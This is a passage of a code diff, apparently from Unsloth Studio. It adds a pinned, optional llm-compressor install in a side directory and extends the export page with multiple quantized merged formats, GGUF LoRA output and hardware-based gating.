"973c9c539a84dd9efaf74e115ede5ca419704c18" +_LLMC_MAIN_COMPRESSED_TENSORS = "0.17.2a20260702" +# Installed --no-deps (torch untouched); the full runtime set llm-compressor main needs, pinned. +_VENV_LLMCOMPRESSOR_SPECS = ( + f"transformers=={_LLMC_MAIN_TRANSFORMERS}", + f"llmcompressor @ git+https://github.com/vllm-project/llm-compressor@{_LLMC_MAIN_SHA}", + f"compressed-tensors=={_LLMC_MAIN_COMPRESSED_TENSORS}", + "huggingface-hub==1.21.0", + "hf-xet==1.5.1", + "tokenizers==0.22.2", + "safetensors==0.8.0", + "accelerate==1.14.0", + "datasets==5.0.0", + "pydantic==2.13.4", + "pydantic-core==2.46.4", + "typing-inspection==0.4.2", + "loguru==0.7.3", + "pyyaml==6.0.3", + "nvidia-ml-py==13.610.43", + "pillow==12.3.0", + "auto-round==0.13.1", + "regex==2026.6.28", +) +# Fingerprint of the pin set; bump the trailing schema version to force a rebuild on layout changes. +_LLMC_SHADOW_FINGERPRINT = ( + f"{_LLMC_MAIN_SHA}|{_LLMC_MAIN_TRANSFORMERS}|{_LLMC_MAIN_COMPRESSED_TENSORS}|schema=1" +) +_LLMC_SHADOW_MARKER = ".unsloth_llmc_fingerprint" + + +def _llmcompressor_main_disabled() -> bool: + """True if the operator forbids the llm-compressor-main shadow (air-gapped / locked-down).""" + return os.environ.get("UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN", "").strip().lower() in { + "1", + "true", + "yes", + "on", + } + + +def _llmcompressor_shadow_is_valid() -> bool: + """True if the shadow dir exists with a marker matching the current pin fingerprint.""" + marker = Path(_VENV_LLMCOMPRESSOR_DIR) / _LLMC_SHADOW_MARKER + try: + return marker.is_file() and marker.read_text().strip() == _LLMC_SHADOW_FINGERPRINT + except Exception: + return False + + +def _ensure_venv_llmcompressor_exists() -> bool: + """Ensure .venv_llmcompressor/ has the pinned llm-compressor-main stack. Install if missing. + + All specs are installed with --no-deps into a --target dir (mirrors the transformers sidecars), + so the workspace torch is never touched. Returns True on success. + """ + if _llmcompressor_shadow_is_valid(): + return True + if _llmcompressor_main_disabled(): + logger.warning( + "llm-compressor-main shadow needed but UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN is set; " + "compressed export of newer-transformers models will fail fast." + ) + return False + if _env_offline(): + logger.warning( + "llm-compressor-main shadow missing and HF/offline mode is set; cannot provision it." + ) + return False + + logger.warning( + "Provisioning llm-compressor-main shadow at %s (one-time, ~a few hundred MB, no torch) ...", + _VENV_LLMCOMPRESSOR_DIR, + ) + shutil.rmtree(_VENV_LLMCOMPRESSOR_DIR, ignore_errors = True) + os.makedirs(_VENV_LLMCOMPRESSOR_DIR, exist_ok = True) + + # Prefer uv (faster) then pip; install every spec at once, --no-deps, prereleases allowed + # (compressed-tensors ships as a pre-release). + base = [ + "--target", + _VENV_LLMCOMPRESSOR_DIR, + "--no-deps", + "--prerelease=allow", + *_VENV_LLMCOMPRESSOR_SPECS, + ] + cmds = [] + if shutil.which("uv"): + cmds.append(["uv", "pip", "install", "--python", sys.executable, *base]) + cmds.append( + [ + sys.executable, + "-m", + "pip", + "install", + *[a for a in base if a != "--prerelease=allow"], + "--pre", + ] + ) + + last_out = "" + for cmd in cmds: + result = subprocess.run( + cmd, + stdout = subprocess.PIPE, + stderr = subprocess.STDOUT, + text = True, + env = child_env_without_native_path_secret(), + **_windows_hidden_subprocess_kwargs(), + ) + last_out = result.stdout or "" + if result.returncode == 0: + try: + (Path(_VENV_LLMCOMPRESSOR_DIR) / _LLMC_SHADOW_MARKER).write_text( + _LLMC_SHADOW_FINGERPRINT + ) + except Exception: + pass + logger.info("Provisioned llm-compressor-main shadow at %s", _VENV_LLMCOMPRESSOR_DIR) + return True + logger.warning("llm-compressor-main shadow install failed with %s; trying next", cmd[0]) + + logger.error( + "Failed to provision llm-compressor-main shadow (spec: llmcompressor@%s). Output:\n%s", + _LLMC_MAIN_SHA, + last_out[-4000:], + ) + return False + + +def llmcompressor_shadow_pythonpath() -> str | None: + """Provision (lazily) the llm-compressor-main shadow and return its sys.path entry, or None. + + Returns None when the shadow is disabled (UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN), offline, or + provisioning failed - callers then fall back to the fail-fast path. + """ + if _llmcompressor_main_disabled(): + return None + if _ensure_venv_llmcompressor_exists(): + return _VENV_LLMCOMPRESSOR_DIR + return None + + def _activate_venv(venv_dir: str, label: str) -> None: """Prepend *venv_dir* to sys.path, purge stale modules, reimport.""" if venv_dir not in sys.path: diff --git a/studio/frontend/src/app/routes/__root.tsx b/studio/frontend/src/app/routes/__root.tsx index e5fa6f0191..8c6ddd197a 100644 --- a/studio/frontend/src/app/routes/__root.tsx +++ b/studio/frontend/src/app/routes/__root.tsx @@ -70,6 +70,9 @@ const CHAT_ONLY_ALLOWED = new Set([ "/login", "/signup", "/change-password", + // Export stays reachable on chat-only hosts so the page can show its own grayed-out reason + // instead of a silent redirect; it self-gates via export capability, so nothing runs. + "/export", ]); function isChatOnlyAllowed(pathname: string): boolean { diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx index ef4178ea42..fb1a1fc9c7 100644 --- a/studio/frontend/src/components/app-sidebar.tsx +++ b/studio/frontend/src/components/app-sidebar.tsx @@ -290,13 +290,12 @@ export function AppSidebar() { const chatOnly = usePlatformStore((s) => s.isChatOnly()); const chatOnlyReason = usePlatformStore((s) => s.chatOnlyReason); - // When Train/Export are greyed out (chat-only host), explain why on hover - // instead of disabling them silently. mlx_unavailable is the common macOS case - // after a reinstall/update dropped MLX and is recoverable via `unsloth studio update`. - const trainExportDisabledHint: string | undefined = !chatOnly + // Explain a greyed-out Train (chat-only host) on hover instead of disabling silently. Export is + // no longer disabled here: it stays navigable so its page can show a precise grayed-out reason. + const trainDisabledHint: string | undefined = !chatOnly ? undefined : chatOnlyReason === "mlx_unavailable" - ? "Training needs MLX. Run `unsloth studio update` to enable Train and Export." + ? "Training needs MLX. Run `unsloth studio update` to enable Train." : chatOnlyReason === "intel_mac" ? "Training needs Apple Silicon or a GPU. Intel Macs are chat-only." : chatOnlyReason === "no_gpu" @@ -1206,7 +1205,7 @@ export function AppSidebar() { pathname === "/studio" || pathname.startsWith("/studio/") } disabled={chatOnly} - tooltip={trainExportDisabledHint} + tooltip={trainDisabledHint} spinner={trainingInProgress} onClick={() => { if (chatOnly) return; @@ -1235,7 +1234,7 @@ export function AppSidebar() { label={t("shell.navigation.train")} active={pathname === "/studio" || pathname.startsWith("/studio/")} disabled={chatOnly} - tooltip={trainExportDisabledHint} + tooltip={trainDisabledHint} spinner={trainingInProgress} onClick={() => { if (chatOnly) return; @@ -1256,11 +1255,8 @@ export function AppSidebar() { icon={DownloadSquare01Icon} label={t("shell.navigation.export")} active={pathname === "/export" || pathname.startsWith("/export/")} - disabled={chatOnly} - tooltip={trainExportDisabledHint} spinner={exportInProgress} onClick={() => { - if (chatOnly) return; navigate({ to: "/export" }); closeMobileIfOpen(); }} diff --git a/studio/frontend/src/features/export/api/export-api.ts b/studio/frontend/src/features/export/api/export-api.ts index d1b4e88a6d..be9767a24f 100644 --- a/studio/frontend/src/features/export/api/export-api.ts +++ b/studio/frontend/src/features/export/api/export-api.ts @@ -127,6 +127,8 @@ export async function loadCheckpoint(params: { export async function exportMerged(params: { save_directory: string; format_type?: string; + /** Compressed-tensors scheme alias (e.g. "fp8", "w4a16", "mxfp4"); overrides format_type. */ + compressed_method?: string | null; push_to_hub?: boolean; repo_id?: string | null; hf_token?: string | null; @@ -158,7 +160,8 @@ export async function exportBase(params: { export async function exportGGUF(params: { save_directory: string; - quantization_method: string; + /** A single GGUF quant method or a list (list produces multiple GGUFs from one model load). */ + quantization_method: string | string[]; push_to_hub?: boolean; repo_id?: string | null; hf_token?: string | null; @@ -179,6 +182,10 @@ export async function exportLoRA(params: { repo_id?: string | null; hf_token?: string | null; private?: boolean; + /** Also convert the adapter to a GGUF LoRA file (llama.cpp `--lora`). */ + gguf?: boolean; + /** GGUF LoRA output float type (f32/f16/bf16/q8_0/auto); only used when gguf=true. */ + gguf_outtype?: string; }): Promise { const response = await authFetch("/api/export/export/lora", { method: "POST", diff --git a/studio/frontend/src/features/export/components/export-run-panel.tsx b/studio/frontend/src/features/export/components/export-run-panel.tsx index 9e0edf7303..29ba5a703b 100644 --- a/studio/frontend/src/features/export/components/export-run-panel.tsx +++ b/studio/frontend/src/features/export/components/export-run-panel.tsx @@ -28,7 +28,11 @@ import { import { HugeiconsIcon } from "@hugeicons/react"; import { useEffect, useRef, useState } from "react"; import { useShallow } from "zustand/react/shallow"; -import { EXPORT_METHODS, type ExportMethod } from "../constants"; +import { + EXPORT_METHODS, + type ExportMethod, + findMergedFormat, +} from "../constants"; import type { ExportLogEntry } from "../api/export-api"; import { getExportLogLineClass } from "../lib/log-style"; import { @@ -200,6 +204,9 @@ export function ExportRunPanel(props: ExportRunPanelProps) { const summaryMethodLabel = summary?.methodLabel ?? methodTitle; const summaryQuants = summary?.quantLevels ?? quantLevels; const summaryMethod = summary?.method ?? exportMethod; + const summaryFormats = (summary?.mergedFormats ?? []).map( + (v) => findMergedFormat(v)?.label ?? v, + ); const showProgress = isExporting || isTerminal; return ( @@ -392,14 +399,32 @@ export function ExportRunPanel(props: ExportRunPanelProps) { ? "Export finished and pushed to Hugging Face Hub." : "Export finished successfully."} - {run.result?.outputPath ? ( - - {run.result.outputPath} - - ) : null} + {(() => { + // List every folder written; a multi-format merged run created one per format. + const paths = run.result?.outputPaths ?? []; + const items = + paths.length > 0 + ? paths + : run.result?.outputPath + ? [{ label: "", path: run.result.outputPath }] + : []; + const showLabels = items.length > 1; + return items.map((o, i) => ( +
+ {showLabels && o.label ? ( + + {o.label} + + ) : null} + + {o.path} + +
+ )); + })()}
)} @@ -432,6 +457,14 @@ export function ExportRunPanel(props: ExportRunPanelProps) { Export Method {summaryMethodLabel}
+ {summaryMethod === "merged" && summaryFormats.length > 0 && ( +
+ Formats + + {summaryFormats.join(", ")} + +
+ )} {summaryMethod === "gguf" && summaryQuants.length > 0 && (
Quantizations diff --git a/studio/frontend/src/features/export/constants.ts b/studio/frontend/src/features/export/constants.ts index 058de1edc4..be9080ba14 100644 --- a/studio/frontend/src/features/export/constants.ts +++ b/studio/frontend/src/features/export/constants.ts @@ -55,34 +55,172 @@ export const QUANT_OPTIONS: { { value: "f16", label: "F16" }, ]; -/** Merged-export precision formats. The compressed-tensors ones run llm-compressor for vLLM. */ -export type MergedFormat = - | "16-bit (FP16)" - | "FP8 (compressed-tensors)" - | "NVFP4 (compressed-tensors)"; +/** + * Merged-export precision formats, sorted by bit width. Three backends: + * - "plain": standard save (16-bit); `formatType` is the backend `format_type`. + * - "compressed": llm-compressor compressed-tensors (vLLM), NVIDIA-only; `value` is the alias. + * - "torchao": portable FP8/INT8, no NVIDIA GPU needed; `value` is the alias. + * `common` entries are quick pills, the rest the "More formats" dropdown; `needsNvidia` entries + * are hidden on non-NVIDIA hardware. + */ +export type MergedBackend = "plain" | "compressed" | "torchao"; -export const MERGED_FORMATS: { - value: MergedFormat; +export type MergedFormatOption = { + value: string; label: string; + bits: number; + backend: MergedBackend; + group: string; + common: boolean; + needsNvidia: boolean; + needsCalibration?: boolean; hint: string; -}[] = [ + /** Backend `format_type` for a "plain" save (unused for compressed/torchao). */ + formatType?: string; +}; + +/** Kept as a string alias for back-compat with callers that typed the old union. */ +export type MergedFormat = string; + +export const MERGED_FORMATS: MergedFormatOption[] = [ + // 16-bit { - value: "16-bit (FP16)", + value: "16-bit", label: "16-bit", + bits: 16, + backend: "plain", + group: "16-bit", + common: true, + needsNvidia: false, hint: "Full precision, runs anywhere.", + formatType: "16-bit (FP16)", + }, + // 8-bit + { + value: "fp8", + label: "FP8", + bits: 8, + backend: "compressed", + group: "FP8", + common: true, + needsNvidia: true, + hint: "Dynamic per-token FP8 (W8A8) for vLLM. Data-free.", }, { - value: "FP8 (compressed-tensors)", - label: "FP8 (vLLM)", - hint: "compressed-tensors FP8 for vLLM. Needs an NVIDIA GPU.", + value: "torchao_fp8", + label: "FP8 (portable)", + bits: 8, + backend: "torchao", + group: "Portable", + common: true, + needsNvidia: false, + hint: "Device-agnostic FP8 (torchao). Produces on any hardware; loads in vLLM.", }, { - value: "NVFP4 (compressed-tensors)", - label: "NVFP4 (vLLM)", - hint: "compressed-tensors NVFP4 for vLLM. Needs an NVIDIA GPU; calibrates.", + value: "w8a8", + label: "INT8 (W8A8)", + bits: 8, + backend: "compressed", + group: "INT", + common: true, + needsNvidia: true, + hint: "8-bit weights and 8-bit activations for vLLM. Data-free.", + }, + { + value: "torchao_int8", + label: "INT8 (portable)", + bits: 8, + backend: "torchao", + group: "Portable", + common: true, + needsNvidia: false, + hint: "Device-agnostic INT8 (torchao). Produces on any hardware; loads in vLLM.", + }, + { + value: "fp8_static", + label: "FP8 Static", + bits: 8, + backend: "compressed", + group: "FP8", + common: false, + needsNvidia: true, + needsCalibration: true, + hint: "Static per-tensor FP8. Calibrates on data.", + }, + { + value: "w8a16", + label: "INT8 (W8A16)", + bits: 8, + backend: "compressed", + group: "INT", + common: false, + needsNvidia: true, + hint: "8-bit weight-only. Data-free.", + }, + { + value: "mxfp8", + label: "MXFP8", + bits: 8, + backend: "compressed", + group: "MXFP", + common: false, + needsNvidia: true, + hint: "Microscaling FP8. Needs a newer compressed-tensors stack.", + }, + // 4-bit + { + value: "w4a16", + label: "INT4 (W4A16)", + bits: 4, + backend: "compressed", + group: "INT", + common: true, + needsNvidia: true, + hint: "4-bit weight-only (GPTQ-style) for vLLM. Data-free.", + }, + { + value: "mxfp4", + label: "MXFP4", + bits: 4, + backend: "compressed", + group: "MXFP", + common: true, + needsNvidia: true, + hint: "Microscaling FP4 (W4A4) for vLLM. Data-free.", + }, + { + value: "nvfp4", + label: "NVFP4", + bits: 4, + backend: "compressed", + group: "FP4", + common: true, + needsNvidia: true, + needsCalibration: true, + hint: "NVIDIA FP4 (W4A4) for vLLM. Calibrates on data.", }, ]; +/** Look up a merged format option by its stable value. */ +export function findMergedFormat(value: string): MergedFormatOption | undefined { + return MERGED_FORMATS.find((f) => f.value === value); +} + +/** Backend payload for one merged format: plain -> formatType, compressed/torchao -> the alias. */ +export function mergedFormatPayload(value: string): { + formatType: string; + compressedMethod: string | null; +} { + const opt = findMergedFormat(value); + if (!opt || opt.backend === "plain") { + return { + formatType: opt?.formatType ?? "16-bit (FP16)", + compressedMethod: null, + }; + } + return { formatType: "16-bit (FP16)", compressedMethod: opt.value }; +} + /** * llama.cpp effective bits-per-weight per quant; GGUF size ~= fp16_bytes * bpw / 16. * K-quant values are published average bit-rates (Q2_K_L = Unsloth Q2_K + Q8_0 diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx index 7b5c6ec6d4..07606a26ed 100644 --- a/studio/frontend/src/features/export/export-page.tsx +++ b/studio/frontend/src/features/export/export-page.tsx @@ -24,6 +24,19 @@ import { SelectTrigger, SelectValue, } from "@/components/ui/select"; +import { + DropdownMenu, + DropdownMenuCheckboxItem, + DropdownMenuContent, + DropdownMenuLabel, + DropdownMenuSeparator, + DropdownMenuTrigger, +} from "@/components/ui/dropdown-menu"; +import { + Alert, + AlertDescription, + AlertTitle, +} from "@/components/ui/alert"; import { Separator } from "@/components/ui/separator"; import { Spinner } from "@/components/ui/spinner"; import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs"; @@ -63,11 +76,14 @@ import { type ExportMethod, GUIDE_STEPS, MERGED_FORMATS, - type MergedFormat, + type MergedFormatOption, + mergedFormatPayload, QUANT_OPTIONS, buildQuantSizeLabels, getEstimatedSize, } from "./constants"; +import { useHardwareInfo } from "@/hooks/use-hardware-info"; +import { usePlatformStore } from "@/config/env"; import { isExportPanelActive, useExportRuntimeStore, @@ -78,6 +94,10 @@ import { exportTourSteps } from "./tour"; const SEARCH_INPUT_REASONS = new Set(["input-change", "input-paste", "input-clear"]); +// GGUF LoRA output float types (Q8_0 first / default). Q8_0 falls back to F16 per tensor for dims +// not divisible by the block size (32); no "auto" - the choice is explicit. +const LORA_GGUF_OUTTYPES = ["q8_0", "f16", "bf16", "f32"] as const; + type SourceTab = "local" | "checkpoint" | "hf"; type SourceMode = "checkpoint" | "model"; @@ -109,7 +129,16 @@ function buildRelativeSaveDirectory( : sourceBaseModelName; return `${safePathSegment(rawName)}-GGUF`; } - return `${selectedModelIdx ?? "model"}/${checkpoint}`; + // Merged / LoRA: a checkpoint keeps the "/" layout under outputs. + if (sourceMode === "checkpoint" && selectedModelIdx && checkpoint) { + return `${selectedModelIdx}/${checkpoint}`; + } + // Local / HF source (no checkpoint): name from the model id to avoid "model/null". + const rawName = + sourceMode === "checkpoint" + ? checkpoint ?? selectedModelIdx ?? sourceBaseModelName + : sourceBaseModelName; + return `${safePathSegment(rawName)}-${exportMethod === "lora" ? "adapter" : "merged"}`; } function siblingGgufDirectory(sourcePath: string): string | null { @@ -177,9 +206,57 @@ export function ExportPage() { }); // GGUF importance matrix (required for the IQ quants) and merged-export precision. const [useImatrix, setUseImatrix] = useState(false); - const [mergedFormat, setMergedFormat] = useState("16-bit (FP16)"); - // IQ quants are imatrix-only, so force it on when one is selected; otherwise we would submit - // an IQ quant with no imatrix and llama.cpp would reject it. + // Merged precision: one or more MERGED_FORMATS values, exported in one run. Seed from a live run + // so navigating away and back (which remounts this page) keeps the selection, like exportMethod. + const [selectedFormats, setSelectedFormats] = useState(() => { + const s = useExportRuntimeStore.getState(); + return isExportPanelActive(s) && + s.summary?.method === "merged" && + s.summary.mergedFormats.length > 0 + ? s.summary.mergedFormats + : ["16-bit"]; + }); + // LoRA-only export: optionally also emit a GGUF LoRA adapter, and its output float type. + const [loraAsGguf, setLoraAsGguf] = useState(false); + const [loraGgufOuttype, setLoraGgufOuttype] = useState("q8_0"); + // GGUF method: export the full model as GGUF quants, or (for an adapter checkpoint) a GGUF LoRA. + const [ggufTarget, setGgufTarget] = useState<"model" | "lora">("model"); + + const hardware = useHardwareInfo(); + // GGUF LoRA conversion is rejected on the macOS / MLX path, so gate it out on a Mac host. + const isMacHost = usePlatformStore((s) => s.deviceType) === "mac"; + // Real CUDA (not ROCm); gates the NVIDIA-only compressed-tensors formats. + const hasNvidia = hardware.cuda != null && hardware.rocm == null; + // Only gray out on an authoritative unsupported response; while unloaded the backend route guard + // stays authoritative. The backend supplies the precise reason; the fallback below is a backstop. + const exportUnsupported = + hardware.loaded && hardware.exportSupported === false; + const exportUnsupportedMessage = + hardware.exportUnsupportedMessage ?? + "Export requires a supported accelerator (NVIDIA, AMD, or Intel GPU, or Apple Silicon) with PyTorch or MLX installed."; + const availableFormats = useMemo( + () => + MERGED_FORMATS.filter((f) => { + // compressed-tensors (llm-compressor) is the NVIDIA path; shown only on an NVIDIA GPU. + if (f.backend === "compressed") return hasNvidia; + // Portable torchao is the fallback for hosts without the NVIDIA compressed path, i.e. a + // CPU / non-NVIDIA box. Hidden on NVIDIA (use compressed-tensors) and on macOS/MLX (the + // backend rejects quantized export there). + if (f.backend === "torchao") return !hasNvidia && !isMacHost; + // Plain 16-bit is available everywhere. + return true; + }), + [hasNvidia, isMacHost], + ); + const toggleFormat = useCallback((value: string) => { + setSelectedFormats((prev) => + prev.includes(value) + ? prev.filter((v) => v !== value) + : [...prev, value], + ); + }, []); + // availableFormats already drops NVIDIA-only formats on other hardware, so no pruning needed. + // IQ quants are imatrix-only: force imatrix on when one is selected, else llama.cpp rejects it. const requiresImatrix = quantLevels.some( (q) => QUANT_OPTIONS.find((o) => o.value === q)?.imatrix, ); @@ -304,6 +381,11 @@ export function ExportPage() { const baseModelName = selectedModelData?.base_model ?? "—"; const isAdapter = !!selectedModelData?.peft_type; const isQuantized = !!selectedModelData?.is_quantized; + // isAdapter / isQuantized come from the checkpoint's metadata and are stale in "model" source + // mode (a direct base export), so treat both as false outside checkpoint mode to avoid wrongly + // gating the methods. + const effectiveIsAdapter = sourceMode === "checkpoint" && isAdapter; + const effectiveIsQuantized = sourceMode === "checkpoint" && isQuantized; const loraRank = selectedModelData?.lora_rank ?? null; const trainingMethodLabel = selectedModelData?.peft_type ? "LoRA / QLoRA" @@ -416,25 +498,30 @@ export function ExportPage() { setCheckpoint(null); }, [selectedModelIdx]); - // For a ?run= deep link, default to the run's main checkpoint. Declared after - // the reset effect above so it runs last and isn't clobbered back to null. + // Default to the newest checkpoint when none is chosen (checkpoints are sorted newest-first). + // Declared after the reset effect above so it runs last and isn't clobbered back to null. Covers + // both a ?run= deep link and a plain finetune opened without an explicit checkpoint pick. useEffect(() => { - if (appliedRunRef.current == null) return; - if (appliedRunRef.current !== selectedModelIdx) return; + if (sourceMode !== "checkpoint") return; if (checkpoint != null || checkpointsForModel.length === 0) return; setCheckpoint(checkpointsForModel[0].display_name); - }, [selectedModelIdx, checkpoint, checkpointsForModel]); + }, [sourceMode, selectedModelIdx, checkpoint, checkpointsForModel]); // Auto-reset export method if incompatible with the selected model type useEffect(() => { - if (!isAdapter && (exportMethod === "merged" || exportMethod === "lora")) { + // Only LoRA needs a real adapter; Merged and GGUF work for non-PEFT base models too. + if (!effectiveIsAdapter && exportMethod === "lora") { setExportMethod(null); } // Quantized non-PEFT models can't export to any format - if (!isAdapter && isQuantized && exportMethod !== null) { + if (!effectiveIsAdapter && effectiveIsQuantized && exportMethod !== null) { setExportMethod(null); } - }, [isAdapter, isQuantized, exportMethod]); + // The GGUF LoRA target only applies to an adapter checkpoint on a non-Mac host. + if ((!effectiveIsAdapter || isMacHost) && ggufTarget !== "model") { + setGgufTarget("model"); + } + }, [effectiveIsAdapter, effectiveIsQuantized, exportMethod, isMacHost, ggufTarget]); const handleSourceTabChange = useCallback((next: string) => { if (next === "checkpoint") { @@ -442,7 +529,7 @@ export function ExportPage() { } else if (next === "hf" || next === "local") { setSourceMode("model"); setModelSource(next); - setExportMethod("gguf"); + // Don't force GGUF: Local / HF sources can export Merged too; a stale LoRA pick auto-resets. } else { return; } @@ -508,10 +595,26 @@ export function ExportPage() { sourceMode, ]); const saveDirectory = customSaveDirectory?.trim() || defaultSaveDirectory; + // Each merged format uploads a full model to the repo root, so several to one repo would collide. + // GGUF method exporting an adapter checkpoint as a GGUF LoRA (vs full-model quants). Reuses the + // LoRA-adapter export path; no quant list needed. + const ggufAsLora = + exportMethod === "gguf" && + ggufTarget === "lora" && + effectiveIsAdapter && + !isMacHost; + + // Restrict a Hub merged export to a single format; multi-format stays available for local export. + const hubMultiFormat = + destination === "hub" && exportMethod === "merged" && selectedFormats.length > 1; + const canExport = !!( selectedExportSource && exportMethod && - (exportMethod !== "gguf" || quantLevels.length > 0) + !exportUnsupported && + !hubMultiFormat && + (exportMethod !== "gguf" || ggufAsLora || quantLevels.length > 0) && + (exportMethod !== "merged" || selectedFormats.length > 0) ); const applyHfSourceModel = useCallback((value: string) => { @@ -576,9 +679,14 @@ export function ExportPage() { const handleStart = useCallback(async () => { const source = sourceMode === "checkpoint" ? checkpoint : selectedSourceModel; if (!source || !exportMethod) return; - // A GGUF export with no quant selected runs zero exports yet would still - // settle as success with no file; require at least one (mirrors canExport). - if (exportMethod === "gguf" && quantLevels.length === 0) return; + // No supported accelerator (or PyTorch/MLX missing): the backend would reject anyway; don't submit. + if (exportUnsupported) return; + // GGUF with no quant, or merged with no format, would run an unintended/empty export; require + // at least one (mirrors canExport, in case the panel's Start button bypasses the outer one). + if (exportMethod === "gguf" && !ggufAsLora && quantLevels.length === 0) return; + if (exportMethod === "merged" && selectedFormats.length === 0) return; + // A Hub merged push writes each format to the repo root; several would collide (mirrors canExport). + if (hubMultiFormat) return; const selectedCp = sourceMode === "checkpoint" ? checkpointsForModel.find((cp) => cp.display_name === checkpoint) @@ -591,8 +699,13 @@ export function ExportPage() { ? `${hfUsername}/${modelName}` : undefined; const token = pushToHub && hfToken ? hfToken : undefined; - const methodLabel = - EXPORT_METHODS.find((m) => m.value === exportMethod)?.title ?? exportMethod; + // The GGUF method with the LoRA target reuses the LoRA-adapter export path. + const effectiveMethod: ExportMethod = ggufAsLora ? "lora" : exportMethod; + const emitLoraGguf = + ggufAsLora || (effectiveMethod === "lora" && loraAsGguf && !isMacHost); + const methodLabel = ggufAsLora + ? "GGUF LoRA adapter" + : (EXPORT_METHODS.find((m) => m.value === exportMethod)?.title ?? exportMethod); const adapterExport = sourceMode === "checkpoint" && isAdapter; // Consent gate for an HF source's custom (auto_map) code, run before we hand @@ -624,11 +737,16 @@ export function ExportPage() { trustRemoteCode, approvedRemoteCodeFingerprint, loadToken: hfToken || null, - exportMethod, + exportMethod: effectiveMethod, isAdapter: adapterExport, quantLevels, useImatrix: effectiveImatrix, - mergedFormat, + mergedSelections: selectedFormats.map((v) => ({ + ...mergedFormatPayload(v), + label: MERGED_FORMATS.find((f) => f.value === v)?.label ?? v, + })), + loraGguf: emitLoraGguf, + loraGgufOuttype, saveDirectory, destination, repoId, @@ -639,8 +757,9 @@ export function ExportPage() { baseModelName: sourceBaseModelName, checkpointLabel: selectedExportSource, methodLabel, - method: exportMethod, + method: effectiveMethod, quantLevels, + mergedFormats: exportMethod === "merged" ? selectedFormats : [], destination, }, }); @@ -656,7 +775,13 @@ export function ExportPage() { isAdapter, quantLevels, effectiveImatrix, - mergedFormat, + selectedFormats, + hubMultiFormat, + ggufAsLora, + loraAsGguf, + isMacHost, + loraGgufOuttype, + exportUnsupported, destination, saveDirectory, hfUsername, @@ -1163,75 +1288,303 @@ export function ExportPage() {
+ {exportUnsupported && ( + + + Export unavailable + {exportUnsupportedMessage} + + )} + - {exportMethod === "merged" && isAdapter && ( -
-
Precision
-
- {MERGED_FORMATS.map((f) => ( - - ))} -
-
- {MERGED_FORMATS.find((f) => f.value === mergedFormat)?.hint} + {exportMethod === "merged" && !exportUnsupported && ( +
+
+
+
Precision
+ + — select one or more + +
+
+ {availableFormats + .filter((f) => f.common) + .map((f) => { + const active = selectedFormats.includes(f.value); + return ( + + ); + })} + + {availableFormats.some((f) => !f.common) && ( + + + + + + + Additional formats + + + {availableFormats + .filter((f) => !f.common) + .map((f) => ( + toggleFormat(f.value)} + onSelect={(e) => e.preventDefault()} + > + + + {f.label} + {f.needsCalibration ? " *" : ""} + + + {f.hint} + + + + ))} + + + )} +
+ + {selectedFormats.length > 0 && ( +
+ + {selectedFormats.length} selected:{" "} + {selectedFormats + .map( + (v) => + MERGED_FORMATS.find((f) => f.value === v) + ?.label ?? v, + ) + .join(", ")} + + {selectedFormats.length > 1 && ( + + )} +
+ )} + + {hubMultiFormat && ( +
+ Hub export supports one format at a time (each writes to + the repository root). Select a single format, or export + locally to produce several at once. +
+ )} + + {selectedFormats.some( + (v) => + MERGED_FORMATS.find((f) => f.value === v) + ?.needsCalibration, + ) && ( +
+ * calibrates on data (uses a small calibration set). +
+ )} + + {!hasNvidia && ( +
+ No NVIDIA GPU detected: compressed-tensors formats are + hidden. 16-bit and portable FP8/INT8 (torchao) still + work here and load in vLLM. +
+ )}
)} - {exportMethod === "gguf" && ( - <> - -
-
-
- Importance matrix (imatrix) + {exportMethod === "lora" && effectiveIsAdapter && !exportUnsupported && ( +
+
+
Adapter format
+
+ + +
+
+ {isMacHost + ? "GGUF LoRA is not available on macOS/MLX; exporting the safetensors adapter." + : loraAsGguf + ? "Converts the adapter to a GGUF LoRA (llama.cpp `--lora`). The base model stays separate." + : "Standard PEFT adapter files. Pair with the base model at inference."} +
+
+ + {loraAsGguf && ( +
+
Output type
+ +
+ )} +
+ )} + + {exportMethod === "gguf" && !exportUnsupported && ( +
+ {effectiveIsAdapter && !isMacHost && ( +
+
Export target
+
+ +
- {requiresImatrix - ? "Required for the selected IQ low-bit quant. Auto-downloads the upstream Unsloth imatrix for the base model." - : "Improves quant quality and unlocks the IQ low-bit quants. Auto-downloads the upstream Unsloth imatrix for the base model."} + {ggufTarget === "lora" + ? "Converts the adapter to a GGUF LoRA (llama.cpp `--lora`). The base model stays separate." + : "Merges the adapter into the base model, then quantizes the full model to GGUF."}
- -
- + )} + + {ggufAsLora ? ( +
+
Output type
+ +
+ ) : ( + <> + +
+
+
+ Importance matrix (imatrix) +
+
+ {requiresImatrix + ? "Required for the selected IQ low-bit quant. Auto-downloads the upstream Unsloth imatrix for the base model." + : "Improves quant quality and unlocks the IQ low-bit quants. Auto-downloads the upstream Unsloth imatrix for the base model."} +
+
+ +
+ + )} +
)} {estimatedSize && (
diff --git a/studio/frontend/src/features/export/stores/export-runtime-store.ts b/studio/frontend/src/features/export/stores/export-runtime-store.ts index a87e7d93e9..6ee5c78994 100644 --- a/studio/frontend/src/features/export/stores/export-runtime-store.ts +++ b/studio/frontend/src/features/export/stores/export-runtime-store.ts @@ -5,7 +5,6 @@ import { create } from "zustand"; import { cancelExport, cleanupExport, - exportBase, exportGGUF, exportLoRA, exportMerged, @@ -119,6 +118,8 @@ export interface ExportRunSummary { methodLabel: string; method: ExportMethod; quantLevels: string[]; + /** Merged: the selected format values (for the summary "Formats" row and to reseed the picker). */ + mergedFormats: string[]; destination: ExportDestination; } @@ -140,8 +141,16 @@ export interface RunExportParams { quantLevels: string[]; /** GGUF: use an importance matrix (auto-download); required for the IQ quants. */ useImatrix?: boolean; - /** Merged: precision/format ("16-bit (FP16)" or a compressed-tensors option). */ - mergedFormat?: string; + /** Merged: precision formats, each exported to its own sibling directory. Defaults to 16-bit. + * `label` is the display name for the success banner's per-format output line. */ + mergedSelections?: { + formatType: string; + compressedMethod: string | null; + label: string; + }[]; + /** LoRA: also emit a GGUF LoRA adapter (llama.cpp `--lora`), and its output float type. */ + loraGguf?: boolean; + loraGgufOuttype?: string; saveDirectory: string; destination: ExportDestination; repoId?: string; @@ 